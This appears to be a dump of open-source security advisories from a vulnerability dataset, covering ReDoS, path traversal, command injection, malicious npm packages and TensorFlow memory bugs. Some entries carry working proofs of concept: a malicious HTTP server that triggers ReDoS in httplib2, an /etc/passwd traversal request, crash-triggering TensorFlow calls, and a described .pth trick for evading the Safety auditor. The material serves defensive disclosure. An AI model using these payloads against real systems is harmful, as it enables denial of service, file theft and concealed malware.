TQRG/raw-osv-data huggingface dataset:
Vulnerability: GHSA-93xj-8mrv-444m
Summary: Regular Expression Denial of Service (REDoS) in httplib2
Aliases: CVE-2021-21240
Severity: LOW
CVSS score: 0
CWE: CWE-400
Published: 2021-02-08T19:41:59Z

### Impact
A malicious server which responds with long series of `\xa0` characters in the `www-authenticate` header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server.

### Patches
Version 0.19.0 contains new implementation of auth headers parsing, using pyparsing library.
https://github.com/httplib2/httplib2/pull/182

### Workarounds
```py
import httplib2
httplib2.USE_WWW_AUTH_STRICT_PARSING = True
```

### Technical Details

The vulnerable regular expression is https://github.com/httplib2/httplib2/blob/595e248d0958c00e83cb28f136a2a54772772b50/python3/httplib2/__init__.py#L336-L338

The section before the equals sign contains multiple overlapping groups. Ignoring the optional part containing a comma, we have:

    \s*[^ \t\r\n=]+\s*=

Since all three infinitely repeating groups accept the non-breaking space character `\xa0`, a long string of `\xa0` causes catastrophic backtracking.

The complexity is cubic, so doubling the length of the malicious string of `\xa0` makes processing take 8 times as long.

### Reproduction Steps

Run a malicious server which responds with

    www-authenticate: x \xa0\xa0\xa0\xa0x

but with many more `\xa0` characters.

An example malicious python server is below:

```py
from http.server import BaseHTTPRequestHandler, HTTPServer

def make_header_value(n_spaces):
    repeat = "\xa0" * n_spaces
    return f"x {repeat}x"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.log_request(401)
        self.send_response_only(401)  # Don't bother sending Server and Date
        n_spaces = (
            int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
            if len(self.path) > 1 else
            65512  # Max header line length 65536
        )
        value = make_header_value(n_spaces)
        self.send_header("www-authenticate", value)  # This header can actually be sent multiple times
        self.end_headers()

if __name__ == "__main__":
    HTTPServer(("", 1337), Handler).serve_forever()
```

Connect to the server with httplib2:

```py
import httplib2
httplib2.Http(".cache").request("http://localhost:1337", "GET")
```

To benchmark performance with shorter strings, you can set the path to a number e.g. http://localhost:1337/1000


### References
Thanks to [Ben Caller](https://github.com/b-c-ds) ([Doyensec](https://doyensec.com)) for finding vulnerability and discrete notification.

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [httplib2](https://github.com/httplib2/httplib2/issues/new)
* Email [current maintainer at 2021-01](mailto:temotor@gmail.com)
Vulnerability: GHSA-6r3c-8xf3-ggrr
Summary: Directory traversal outside of SENDFILE_ROOT in django-sendfile2
Severity: MODERATE
CVSS score: 0
CWE: CWE-22
Published: 2020-06-24T17:15:26Z

django-sendfile2 currently relies on the backend to correctly limit file paths to `SENDFILE_ROOT`. This is not the case for the `simple` and `development` backends, it is also not necessarily the case for any of the other backends either (it's just an assumption that was made by the original author).

This will be fixed in 0.6.0 which is to be released the same day as this advisory is made public.

When upgrading, you will need to make sure `SENDFILE_ROOT` is set in your settings module if it wasn't already.
Vulnerability: GHSA-426h-24vj-qwxf
Summary: Command Injection in npm-programmatic
Aliases: CVE-2020-7614
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-20, CWE-78
Published: 2020-04-23T20:09:09Z

All versions of `npm-programmatic ` are vulnerable to Command Injection. The package fails to sanitize input rules and passes it directly to an `exec` call on the `install`, `uninstall` and `list` functions . This may allow attackers to execute arbitrary code in the system if the package name passed to the function is user-controlled.


## Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.
Vulnerability: GHSA-pfj7-2qfw-vwgm
Summary: Path traversal in translator module in NodeBB
Aliases: CVE-2021-43788
Severity: MODERATE
CVSS score: 5
CWE: CWE-22
Published: 2021-11-30T22:20:43Z

### Impact
Prior to v1.18.5, a path traversal vulnerability was present that allowed users to access JSON files outside of the expected `languages/` directory.

### Patches
The vulnerability has been patched as of v1.18.5.

### Workarounds
Cherry-pick commit hash `c8b2fc46dc698db687379106b3f01c71b80f495f` to receive this patch in lieu of a full upgrade.

### For more information
If you have any questions or comments about this advisory:
* Email us at [security@nodebb.org](mailto:security@nodebb.org)
Vulnerability: GHSA-qvp4-rpmr-xwrr
Summary: Possible bypass of token claim validation when OAuth2 Introspection caching is enabled
Severity: HIGH
CVSS score: 7.5
CWE: CWE-863
Published: 2021-06-23T18:00:20Z

### Impact

When you make a request to an endpoint that requires the scope `foo` using an access token granted with that `foo` scope, introspection will be valid and that token will be cached. The problem comes when a second requests to an endpoint that requires the scope `bar` is made before the cache has expired. Whether the token is granted or not to the `bar` scope, introspection will be valid.

### Patches

A patch will be released with `v0.38.12-beta.1`.

### Workarounds

Per default, caching is disabled for the `oauth2_introspection` authenticator. When caching is disabled, this vulnerability does not exist.

### Trace

The cache is checked in [`func (a *AuthenticatorOAuth2Introspection) Authenticate(...)`](https://github.com/ory/oathkeeper/blob/6a31df1c3779425e05db1c2a381166b087cb29a4/pipeline/authn/authenticator_oauth2_introspection.go#L152). From [`tokenFromCache()`](https://github.com/ory/oathkeeper/blob/6a31df1c3779425e05db1c2a381166b087cb29a4/pipeline/authn/authenticator_oauth2_introspection.go#L97) it seems that it only validates the token expiration date, but ignores whether the token has or not the proper scopes.

### Post-Mortem

The vulnerability was introduced in PR #424. During review, we failed to require appropriate test coverage by the submitter which is the primary reason that the vulnerability passed the review process.

To avoid this from happening again we enabled codecov with a strict policy on the Ory Oathkeeper repository: Without an increase in code coverage the PR can not be merged.

To address this issue and any regressions we have added a test suite ensuring that the cache behaviour is correct in the different scenarios:

- Scope strategy is `none`, cache is enabled, and `requested_scope` is not empty -> cache will not be used;
- Scope strategy is `none`, cache is enabled, and `requested_scope` is empty -> cache will be used;
- Scope strategy is not `none`, cache is enabled, and `requested_scope` is not empty -> cache will be used;

as well as validating if `iss`, `aud`, `exp`, `token_use`, and scope are validated.

Additionally, we added [CodeQL scanning](https://github.com/ory/oathkeeper/commit/64ac7562669287d391cd72dfd43c5d71ff9f89a1) to the CI.
Vulnerability: GHSA-rc8h-3fv6-pxv8
Summary: Denial of Service in hapi
Aliases: CVE-2015-9241
Severity: HIGH
CVSS score: 0
CWE: CWE-400
Published: 2018-06-07T19:43:15Z

Versions of `hapi` prior to 11.1.3 are affected by a denial of service vulnerability.

The vulnerability is triggered when certain input is passed into the If-Modified-Since or Last-Modified headers.

This causes an 'illegal access' exception to be raised, and instead of sending a HTTP 500 error back to the sender, hapi will continue to hold the socket open until timed out (default node timeout is 2 minutes).





## Recommendation

Update to v11.1.3 or later
Vulnerability: GHSA-fxwf-45c7-4ppr
Summary: Prototype pollution in object-hierarchy-access
Aliases: CVE-2020-28270
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-1321, CWE-915
Published: 2021-10-12T16:40:58Z

Overview:Prototype pollution vulnerability in ‘object-hierarchy-access’ versions 0.2.0 through 0.32.0 allows attacker to cause a denial of service and may lead to remote code execution.
Vulnerability: GHSA-c7pp-x73h-4m2v
Summary: Cross-Site Scripting in bootstrap-vue
Severity: HIGH
CVSS score: 0
CWE: CWE-79
Published: 2020-09-02T15:53:46Z

Versions of `bootstrap-vue` prior to 2.0.0-rc.12 are vulnerable to Cross-Site Scripting. Due to insufficient input sanitization, components may be vulnerable to Cross-Site Scripting through the `options` variable. This may lead to the execution of malicious JavaScript on the user's browser.


## Recommendation

Upgrade to version 2.0.0-rc.12 or later.
Vulnerability: GHSA-mx3r-w3pj-7wv7
Summary: Command injection in wc-cmd
Aliases: CVE-2020-28431
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-77
Published: 2021-03-19T21:10:30Z

** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Further investigation showed that it was not a security issue. Notes: none.
Vulnerability: GHSA-pxq7-4ppw-qp7f
Summary: Directory Traversal in serverzyy
Aliases: CVE-2017-16135
Severity: HIGH
CVSS score: 0
CWE: CWE-22
Published: 2020-09-01T18:19:36Z

Affected versions of `serverzyy` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.

Example request:
```
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo
```


## Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
Vulnerability: GHSA-jj47-x69x-mxrm
Summary: Buffer Overflow in yajl-ruby
Aliases: CVE-2022-24795
Severity: MODERATE
CVSS score: 5.9
CWE: CWE-122, CWE-190
Published: 2022-04-05T15:55:51Z

yajl-ruby is a streaming JSON parsing and encoding library for Ruby (C bindings to yajl) based on the YAJL library.
The 1.x branch and the 2.x branch of [yajl](https://github.com/lloyd/yajl) contain an integer overflow which leads to subsequent heap memory corruption when dealing with large (~2GB) inputs.

### Details

The [reallocation logic at yajl_buf.c#L64](https://github.com/brianmario/yajl-ruby/blob/7168bd79b888900aa94523301126f968a93eb3a6/ext/yajl/yajl_buf.c#L64) may result in the `need` 32bit integer wrapping to 0 when `need` approaches a value of 0x80000000 (i.e. ~2GB of data), which results in a reallocation of buf->alloc into a small heap chunk.

These integers are declared as `size_t` in the 2.x branch of `yajl`, which practically prevents the issue from triggering on 64bit platforms, however this does not preclude this issue triggering on 32bit builds on which `size_t` is a 32bit integer.

Subsequent population of this under-allocated heap chunk is based on the original buffer size, leading to heap memory corruption.

### Impact

We rate this as a moderate severity vulnerability which mostly impacts process availability as we believe exploitation for arbitrary code execution to be unlikely.

### Patches

Patched in yajl-ruby 1.4.2

### Workarounds

Avoid passing large inputs to YAJL

### References
https://github.com/brianmario/yajl-ruby/blob/7168bd79b888900aa94523301126f968a93eb3a6/ext/yajl/yajl_buf.c#L64

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [yajl-ruby](https://github.com/brianmario/yajl-ruby/issues)
Vulnerability: GHSA-f7gc-6hcj-wc42
Summary: Malicious Package in path-to-regxep
Severity: CRITICAL
CVSS score: 9.1
CWE: CWE-506
Published: 2020-09-03T17:05:06Z

All versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.


## Recommendation

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.

The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Vulnerability: GHSA-7cqx-92hp-x6wh
Summary: Heap buffer overflow in `MaxPool3DGradGrad`
Aliases: CVE-2021-29576
Severity: LOW
CVSS score: 2.5
CWE: CWE-119, CWE-787
Published: 2021-05-21T14:26:16Z

### Impact
The implementation of `tf.raw_ops.MaxPool3DGradGrad` is vulnerable to a heap buffer overflow: 

```python
import tensorflow as tf

values = [0.01] * 11
orig_input = tf.constant(values, shape=[11, 1, 1, 1, 1], dtype=tf.float32)
orig_output = tf.constant([0.01], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
grad = tf.constant([0.01], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
ksize = [1, 1, 1, 1, 1]
strides = [1, 1, 1, 1, 1]
padding = "SAME"

tf.raw_ops.MaxPool3DGradGrad(
    orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,
    strides=strides, padding=padding)
```

The [implementation](https://github.com/tensorflow/tensorflow/blob/596c05a159b6fbb9e39ca10b3f7753b7244fa1e9/tensorflow/core/kernels/pooling_ops_3d.cc#L694-L696) does not check that the initialization of `Pool3dParameters` completes successfully:

```cc
Pool3dParameters params{context,  ksize_,       stride_,
                        padding_, data_format_, tensor_in.shape()};
```

Since [the constructor](https://github.com/tensorflow/tensorflow/blob/596c05a159b6fbb9e39ca10b3f7753b7244fa1e9/tensorflow/core/kernels/pooling_ops_3d.cc#L48-L88) uses `OP_REQUIRES` to validate conditions, the first assertion that fails interrupts the initialization of `params`, making it contain invalid data. In turn, this might cause a heap buffer overflow, depending on default initialized values.

### Patches
We have patched the issue in GitHub commit [63c6a29d0f2d692b247f7bf81f8732d6442fad09](https://github.com/tensorflow/tensorflow/commit/63c6a29d0f2d692b247f7bf81f8732d6442fad09).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
Vulnerability: GHSA-h236-g5gh-vq6c
Summary: Cross-site scripting in Froala Editor
Aliases: CVE-2019-19935
Severity: MODERATE
CVSS score: 6.1
CWE: CWE-79
Published: 2022-02-10T23:32:51Z

Froala Editor before 3.0.6 allows XSS.
Vulnerability: GHSA-9f52-hpvw-v96w
Summary: Improper Validation of Specified Quantity in Input in Eclipse Hono
Aliases: CVE-2020-27217
Severity: HIGH
CVSS score: 7.5
CWE: CWE-1284
Published: 2022-02-10T20:22:06Z

In Eclipse Hono version 1.3.0 and 1.4.0 the AMQP protocol adapter does not verify the size of AMQP messages received from devices. In particular, a device may send messages that are bigger than the max-message-size that the protocol adapter has indicated during link establishment. While the AMQP 1.0 protocol explicitly disallows a peer to send such messages, a hand crafted AMQP 1.0 client could exploit this behavior in order to send a message of unlimited size to the adapter, eventually causing the adapter to fail with an out of memory exception.
Vulnerability: GHSA-fqw7-8v6m-2f86
Summary: Malicious Package in hulp
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-506
Published: 2020-09-02T21:37:39Z

All versions of `hulp` contain malicious code as a preinstall script. When installed, the package calls home to a Command and Control server to execute arbitrary commands.


## Recommendation

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.

The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Vulnerability: GHSA-27p5-7cw6-m45h
Summary: Server-Side Request Forgery in unoconv
Aliases: CVE-2019-17400
Severity: HIGH
CVSS score: 7.5
CWE: CWE-918
Published: 2019-10-24T20:46:54Z

The unoconv package before 0.9 mishandles untrusted pathnames, leading to SSRF and local file inclusion.
Vulnerability: GHSA-fmf5-j5j9-99pp
Summary: OS Command Injection in pulverizr
Aliases: CVE-2020-7604
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-78
Published: 2021-05-07T16:20:44Z

pulverizr through 0.7.0 allows execution of arbitrary commands. Within &quot;lib/job.js&quot;, the variable &quot;filename&quot; can be controlled by the attacker. This function uses the variable &quot;filename&quot; to construct the argument of the exec call without any sanitization. In order to successfully exploit this vulnerability, an attacker will need to create a new file with the same name as the attack command.
Vulnerability: GHSA-947x-pv47-pp3q
Summary: Cross-site scripting in pywb
Aliases: CVE-2021-39286
Severity: MODERATE
CVSS score: 6.1
CWE: CWE-79
Published: 2021-09-02T17:16:18Z

Webrecorder pywb before 2.6.0 allows XSS because it does not ensure that Jinja2 templates are autoescaped.
Vulnerability: GHSA-q8xj-8xg3-w432
Summary: Moderate severity vulnerability that affects io.spray:spray-json_2.10, io.spray:spray-json_2.11, and io.spray:spray-json_2.12
Aliases: CVE-2018-18854
Severity: HIGH
CVSS score: 7.5
CWE: CWE-400
Published: 2018-11-09T17:41:35Z

Lightbend Spray spray-json through 1.3.4 allows remote attackers to cause a denial of service (resource consumption) because of Algorithmic Complexity during the parsing of many JSON object fields (with keys that have the same hash code).
Vulnerability: GHSA-mfjm-vh54-3f96
Summary: Cookie-setting is not restricted based on the public suffix list
Severity: MODERATE
CVSS score: 0
Published: 2022-03-01T22:13:28Z

### Impact

Responses from domain names whose public domain name suffix contains 1 or more periods (e.g. responses from `example.co.uk`, given its public domain name suffix is `co.uk`) are able to set cookies that are included in requests to any other domain sharing the same domain name suffix.

### Patches

Upgrade to Scrapy 2.6.0, which restricts cookies with their domain set to any of those in the [public suffix list](https://publicsuffix.org/).

If you are using Scrapy 1.8 or a lower version, and upgrading to Scrapy 2.6.0 is not an option, you may upgrade to Scrapy 1.8.2 instead.

### Workarounds

The only workaround for unpatched versions of Scrapy is to [disable cookies altogether](https://docs.scrapy.org/en/latest/topics/downloader-middleware.html#std-setting-COOKIES_ENABLED), or [limit target domains](https://docs.scrapy.org/en/latest/topics/spiders.html#scrapy.spiders.Spider.allowed_domains) to a subset that does not include domain names with one of the public domain suffixes affected (those with 1 or more periods).

### References
* https://publicsuffix.org/

### For more information

If you have any questions or comments about this advisory:
* [Open an issue](https://github.com/scrapy/scrapy/issues)
* [Email us](mailto:opensource@zyte.com)
Vulnerability: GHSA-q43m-ffwr-rpcc
Summary: SSL Validation Defaults to False in electron-packager
Aliases: CVE-2016-10534
Severity: LOW
CVSS score: 0
CWE: CWE-295
Published: 2019-02-18T23:58:24Z

Affected versions of `electron-packager` configure the generated application to disable SSL certificate verification by default. 

This could allow an attacker with a privileged network position to launch a Man In The Middle (MITM) attack on the install process, intercepting the step where electron-packager downloads Electron for supported target platforms and architectures, and replacing the valid download with a tampered malicious one.

This only affects users using the electron-packager CLI. The strict-ssl option defaults to true for the node.js API.


## Recommendation

1. Update to version 7.0.0 or later.
2. Delete the `electron-download` cache folder, which is by default located at `~/.electron`.
Vulnerability: GHSA-7q25-qrjw-6fg2
Summary: Malicious package may avoid detection in python auditing
Aliases: CVE-2020-5252
Severity: MODERATE
CVSS score: 5
CWE: CWE-807
Published: 2020-03-24T15:07:56Z

# Python Auditing Vulnerability

Demonstrates how a malicious package can insert a load-time poison pill to avoid detection by tools like Safety.

Tools that are designed to find vulnerable packages can not ever run in the same python environment that they are trying to protect.

## Usage

Install `safety`, `insecure-package`, and this package with pip in the same python environment. Order doesn&amp;#39;t matter.

1. pip install safety
2. pip install insecure-package
3. pip install dist/malicious-0.1-py3-none-any.whl

Run the check

4. `safety check`

You should see both `Running my modified safety.check` and that `insecure-package` is not listed in the results!


## How it Works

Everything in Python is mutable. The trick is getting some code to run at interpreter load time in order to do some patching.

1. When you install this package, the `setup.py` settings installs a `malicious.pth` file to your `site-packages` directory.
2. The `malicious.pth` file gets loaded anytime Python starts, which in turn imports our `malicious` package.
3. The `malicious/__init__.py` patches the safety library with a custom function to avoid detection.
Vulnerability: GHSA-57cf-349j-352g
Summary: Out-of-bounds Read in npmconf
Severity: MODERATE
CVSS score: 0
CWE: CWE-125
Published: 2019-06-12T16:37:00Z

Versions of `npmconf` before 2.1.3 allocate and write to disk uninitialized memory contents when a typed number is passed as input on Node.js 4.x.


## Recommendation

Update to version 2.1.3 or later. Consider switching to another config storage mechanism, as npmconf is deprecated and should not be used.
Vulnerability: GHSA-rjww-2x8v-m9v9
Summary: Potential sensitive data exposure in applications using Vaadin 15
Aliases: CVE-2020-36319
Severity: LOW
CVSS score: 3.1
CWE: CWE-200
Published: 2021-04-19T14:52:14Z

Insecure configuration of default `ObjectMapper` in `com.vaadin:flow-server` versions 3.0.0 through 3.0.5 (Vaadin 15.0.0 through 15.0.4) may expose sensitive data if the application also uses e.g. `@RestController`

- https://vaadin.com/security/cve-2020-36319
Vulnerability: GHSA-vjvw-wcmw-pr26
Summary: Insufficient Entropy in parsel
Severity: CRITICAL
CVSS score: 0
CWE: CWE-331
Published: 2020-09-04T17:37:08Z

All versions of `parsel` use an insecure key derivation function. The package runs keys of arbitrary lengths through one round of SHA256 hashing for key stretching. This allows for the use of keys of insufficient entropy with inappropriate key stretching.


## Recommendation

The package is deprecated and will not be updated. Consider using an alternative package.
Vulnerability: GHSA-wcvp-r8j8-47pc
Summary: Double free in toodee
Aliases: CVE-2021-28028
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-415
Published: 2021-09-01T18:30:35Z

An issue was discovered in the toodee crate before 0.3.0 for Rust. Row insertion can cause a double free upon an iterator panic.
Vulnerability: GHSA-3h29-52vh-pqgr
Summary: Uncontrolled Resource Consumption in Apache Tika
Aliases: CVE-2020-1950
Severity: MODERATE
CVSS score: 5.5
CWE: CWE-400
Published: 2021-05-07T15:53:48Z

A carefully crafted or corrupt PSD file can cause excessive memory usage in Apache Tika's PSDParser in versions 1.0-1.23.
Vulnerability: GHSA-rmr5-cpv2-vgjf
Summary: Denial of Service by injecting highly recursive collections or maps in XStream
Aliases: CVE-2021-43859
Severity: HIGH
CVSS score: 7.5
CWE: CWE-400, CWE-502
Published: 2022-02-01T00:48:15Z

### Impact
The vulnerability may allow a remote attacker to allocate 100% CPU time on the target system depending on CPU type or parallel execution of such a payload resulting in a denial of service only by manipulating the processed input stream.

### Patches
XStream 1.4.19 monitors and accumulates the time it takes to add elements to collections and throws an exception if a set threshold is exceeded.

### Workarounds
The attack uses the hash code implementation for collections and maps to force an exponential calculation time due to highly recursive structures with in the collection or map. Following types of the Java runtime are affected in Java versions available in December 2021:

- java.util.HashMap
- java.util.HashSet
- java.util.Hashtable
- java.util.LinkedHashMap
- java.util.LinkedHashSet
- java.util.Stack (older Java revisions only)
- java.util.Vector (older Java revisions only)
- Other third party collection implementations that use their element's hash code may also be affected

If your object graph does not use referenced elements at all, you may simply set the NO_REFERENCE mode:
```Java
XStream xstream = new XStream();
xstream.setMode(XStream.NO_REFERENCES);
```

If your object graph contains neither a Hashtable, HashMap nor a HashSet (or one of the linked variants of it) then you can use the security framework to deny the usage of these types:
```Java
XStream xstream = new XStream();
xstream.denyTypes(new Class[]{
 java.util.HashMap.class, java.util.HashSet.class, java.util.Hashtable.class, java.util.LinkedHashMap.class, java.util.LinkedHashSet.class
});
```

Unfortunately these types are very common. If you only use HashMap or HashSet and your XML refers these only as default map or set, you may additionally change the default implementation of java.util.Map and java.util.Set at unmarshalling time::
```Java
xstream.addDefaultImplementation(java.util.TreeMap.class, java.util.Map.class);
xstream.addDefaultImplementation(java.util.TreeSet.class, java.util.Set.class);
```
However, this implies that your application does not care about the implementation of the map and all elements are comparable.

### References
See full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-43859](https://x-stream.github.io/CVE-2021-43859.html).

### Credits
The vulnerability was discovered and reported by r00t4dm at Cloud-Penetrating Arrow Lab.

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)
* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)
Vulnerability: GHSA-rg3q-jxmp-pvjj
Summary: Low severity vulnerability that affects materialize-css
Aliases: CVE-2019-11004
Severity: MODERATE
CVSS score: 6.1
CWE: CWE-79
Published: 2019-04-09T19:44:37Z

In Materialize through 1.0.0, XSS is possible via the Toast feature.
Vulnerability: GHSA-qv78-398w-cxp7
Summary: Malicious Package in shrugging-logging
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-506
Published: 2020-09-11T21:08:19Z

All versions of `shrugging-logging` contain malicious code as a postinstall script. The package fetches all names of npm packages owned by the user and attempts to add another maintainer to every package as a means of package hijacking,


## Recommendation

Remove the package from your system. If you own any packages that were compromised please contact npm security immediately at security@npmjs.com. Also enable 2FA for publishing to further secure packages you maintain.
Vulnerability: GHSA-r5mf-q76q-f2xq
Summary: Cross-site scripting in Centreon
Aliases: CVE-2021-27676
Severity: MODERATE
CVSS score: 5.4
CWE: CWE-79
Published: 2021-06-08T20:13:05Z

Centreon version 20.10.2 is affected by a cross-site scripting (XSS) vulnerability. The dep_description (Dependency Description) and dep_name (Dependency Name) parameters are vulnerable to stored XSS. A user has to log in and go to the Configuration > Notifications > Hosts page.
Vulnerability: GHSA-645p-88qh-w398
Summary: High severity vulnerability that affects com.fasterxml.jackson.core:jackson-databind
Aliases: CVE-2018-14718
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-502
Published: 2019-01-04T19:06:55Z

FasterXML jackson-databind 2.x before 2.9.7 might allow remote attackers to execute arbitrary code by leveraging failure to block the slf4j-ext class from polymorphic deserialization.
Vulnerability: GHSA-rccq-j2m7-8fwr
Summary: Double-free in id-map
Aliases: CVE-2021-30457
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-415
Published: 2021-08-25T20:55:14Z

An issue was discovered in the id-map crate through 2021-02-26 for Rust. A double free can occur in remove_set upon a panic in a Drop impl.
Vulnerability: GHSA-87g3-x896-w798
Summary: Downloads Resources over HTTP in atom-node-module-installer
Aliases: CVE-2016-10620
Severity: HIGH
CVSS score: 0
CWE: CWE-311
Published: 2019-02-18T23:56:53Z

Affected versions of `atom-node-module-installer` insecurely download an executable over an unencrypted HTTP connection. 

In scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `atom-node-module-installer`.


## Recommendation

No patch is currently available for this vulnerability, and the package has not been updated since 2014.

The best mitigation is currently to avoid using this package, using a different package if available. 

Alternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.
Vulnerability: GHSA-3x7h-5hfr-hvjm
Summary: Moderate severity vulnerability that affects io.undertow:undertow-core
Aliases: CVE-2017-2670
Severity: MODERATE
CVSS score: 7.5
CWE: CWE-835
Published: 2018-10-19T16:54:56Z

It was found in Undertow before 1.3.28 that with non-clean TCP close, the Websocket server gets into infinite loop on every IO thread, effectively causing DoS.
Vulnerability: GHSA-wxj7-97fp-j53j
Summary: Exposure of Resource to Wrong Sphere in Zip-Local
Aliases: CVE-2021-23484
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-668, CWE-29
Published: 2022-02-01T00:46:01Z

The package zip-local before 0.3.5 are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip) which can lead to an extraction of a crafted file outside the intended extraction directory.
Vulnerability: GHSA-rpcg-f9q6-2mq6
Summary: Remote Code Execution via traversal in TAL expressions
Severity: HIGH
CVSS score: 0
CWE: CWE-22
Published: 2021-06-08T18:45:52Z

This advisory extends the previous advisory at https://github.com/zopefoundation/Zope/security/advisories/GHSA-5pr9-v234-jw36 with additional cases of TAL expression traversal vulnerabilities.

### Impact
Most Python modules are not available for using in TAL expressions that you can add through-the-web, for example in Zope Page Templates. This restriction avoids file system access, for example via the 'os' module. But some of the untrusted modules are available indirectly through Python modules that are available for direct use.

By default, you need to have the Manager role to add or edit Zope Page Templates through the web. Only sites that allow untrusted users to add/edit Zope Page Templates through the web are at risk.

### Patches
The problem has been fixed in Zope 5.21 and 4.6.1.

### Workarounds
The workaround is the same as for https://github.com/zopefoundation/Zope/security/advisories/GHSA-5pr9-v234-jw36: A site administrator can restrict adding/editing Zope Page Templates through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing Zope Page Templates through the web should be restricted to trusted users only.

### References
* [The previous advisory (GHSA-5pr9-v234-jw36)](https://github.com/zopefoundation/Zope/security/advisories/GHSA-5pr9-v234-jw36)

### For more information
If you have any questions or comments about this advisory:
* Open an issue in the [Zope issue tracker](https://github.com/zopefoundation/Zope/issues)
* Email us at [security@plone.org](mailto:security@plone.org)
Vulnerability: GHSA-qv95-g3gm-x542
Summary: Privilege Escalation in Hashicorp Vault
Aliases: CVE-2021-41802
Severity: MODERATE
CVSS score: 2.9
CWE: CWE-732, CWE-269
Published: 2021-10-12T16:39:01Z

HashiCorp Vault and Vault Enterprise through 1.7.4 and 1.8.3 allowed a user with write permission to an entity alias ID sharing a mount accessor with another user to acquire this other user’s policies by merging their identities. Fixed in Vault and Vault Enterprise 1.7.5 and 1.8.4.
Vulnerability: GHSA-r5qj-cvf9-p85h
Summary: Code Injection in PyTorch Lightning
Aliases: CVE-2022-0845
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-94
Published: 2022-03-06T00:00:16Z

PyTorch Lightning version 1.5.10 and prior is vulnerable to code injection. There is currently a [patch](https://github.com/pytorchlightning/pytorch-lightning/commit/8b7a12c52e52a06408e9231647839ddb4665e8ae) available, anticipated to be part of the `1.6.0` release.
Vulnerability: GHSA-f5cx-5wr3-5qrc
Summary: Reference binding to nullptr in boosted trees
Aliases: CVE-2021-37662
Severity: HIGH
CVSS score: 7.1
CWE: CWE-824
Published: 2021-08-25T14:42:26Z

### Impact
An attacker can generate undefined behavior via a reference binding to nullptr in `BoostedTreesCalculateBestGainsPerFeature`:

```python
import tensorflow as tf

tf.raw_ops.BoostedTreesCalculateBestGainsPerFeature(
  node_id_range=[],
  stats_summary_list=[[1,2,3]],
  l1=[1.0],
  l2=[1.0],
  tree_complexity =[1.0],
  min_node_weight =[1.17],
  max_splits=5)
```

A similar attack can occur in `BoostedTreesCalculateBestFeatureSplitV2`:

```python
import tensorflow as tf
                                                                                                                                                                                                                                                                                          
tf.raw_ops.BoostedTreesCalculateBestFeatureSplitV2(
  node_id_range=[],
  stats_summaries_list=[[1,2,3]],
  split_types=[''],
  candidate_feature_ids=[1,2,3,4],
  l1=[1],     
  l2=[1],
  tree_complexity=[1.0],
  min_node_weight=[1.17],
  logits_dimension=5)
```     
    
The  [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/stats_ops.cc) does not validate the input values.

### Patches
We have patched the issue in GitHub commit [9c87c32c710d0b5b53dc6fd3bfde4046e1f7a5ad](https://github.com/tensorflow/tensorflow/commit/9c87c32c710d0b5b53dc6fd3bfde4046e1f7a5ad) and in commit. [429f009d2b2c09028647dd4bb7b3f6f414bbaad7](https://github.com/tensorflow/tensorflow/commit/429f009d2b2c09028647dd4bb7b3f6f414bbaad7).

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. 

### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
Vulnerability: GHSA-jhx3-2w5x-x39x
